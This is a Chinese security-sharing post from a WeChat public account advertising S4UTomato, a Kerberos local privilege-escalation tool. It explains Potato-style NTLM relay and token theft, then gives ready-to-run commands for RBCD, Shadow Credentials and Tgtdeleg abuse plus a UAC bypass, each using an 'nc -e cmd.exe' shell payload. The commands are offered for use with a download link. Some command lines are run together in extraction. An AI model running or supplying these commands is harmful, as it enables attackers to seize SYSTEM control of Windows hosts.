|
声明：该公众号分享的安全工具和项目均来源于网络，仅供安全研究与学习之用，如用于其他用途，由使用者承担全部法律及连带责任，与工具作者和本公众号无关。 |
现在只对常读和星标的公众号才展示大图推送，建议大家把Hack分享吧“设为星标”，否则可能看不到了！
hw攻防演练期间，工具安全性自测！
Kerberos
“Potato”的早期利用技术几乎相同：利用COM接口的某些功能，欺骗NT AUTHORITYSYSTEM帐户连接并验证到攻击者控制的RPC服务器。
然后，通过一系列 API 调用，在此身份验证过程中执行中间（NTLM 中继）攻击，从而为本地系统上的 NT AUTHORITYSYSTEM 帐户生成访问令牌。最后这个token被窃取，使用CreateProcessWithToken()和CreateProcessAsUser()函数传递token并创建一个新的进程来获取SYSTEM权限。
在此之前，我们需要获取本地机器帐户的TGT（Ticket Granting Ticket）。这并不容易，因为服务帐户权限施加的限制使我们无法获取计算机的长期密钥，从而无法构造 KRB_AS_REQ 请求。为了实现上述目标，我利用了三种技术：Resource-based Constrained Delegation、Shadow Credentials 和Tgtdeleg。作者基于 Rubeus工具集构建了这个项目。
使用示例
C:UserswhoamiDesktop>S4UTomato.exe --helpS4UTomato1.0.0-betaCopyright (c)2023-d, --Domain Domain (FQDN) to authenticate to.-s, --Server Host nameofdomain controller or LDAP server.-m, --ComputerName Thenewcomputer account to create.-p, --ComputerPassword The passwordofthenewcomputer account to be created.-f, --Force Forcefully update the'msDS-KeyCredentialLink'attributeofthe computerobject.-c, --Command Program to run.-v, --Verbose Output verbose debug information.--help Displaythishelp screen.--version Display version information.
利用Resource-based Constrained Delegation的LEP：
S4UTomato.exe rbcd -m NEWCOMPUTER -p pAssw0rd -c "nc.exe 127.0.0.1 4444 -e cmd.exe"
利用Shadow Credentials + S4U2self的LEP：
S4UTomato.exe shadowcred -c "nc 127.0.0.1 4444 -e cmd.exe" -f
利用Tgtdeleg + S4U2self的LEP：
#FirstretrievetheTGTthroughTgtdelegS4UTomato.exetgtdeleg#ThenrunSCMUACBypasstoobtainSYSTEMprivilegeS4UTomato.exekrbscm-c"nc127.0.0.14444-ecmd.exe"
下载地址
原文始发于微信公众号（Hack分享吧）：S4UTomato！Kerberos提权利用工具
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论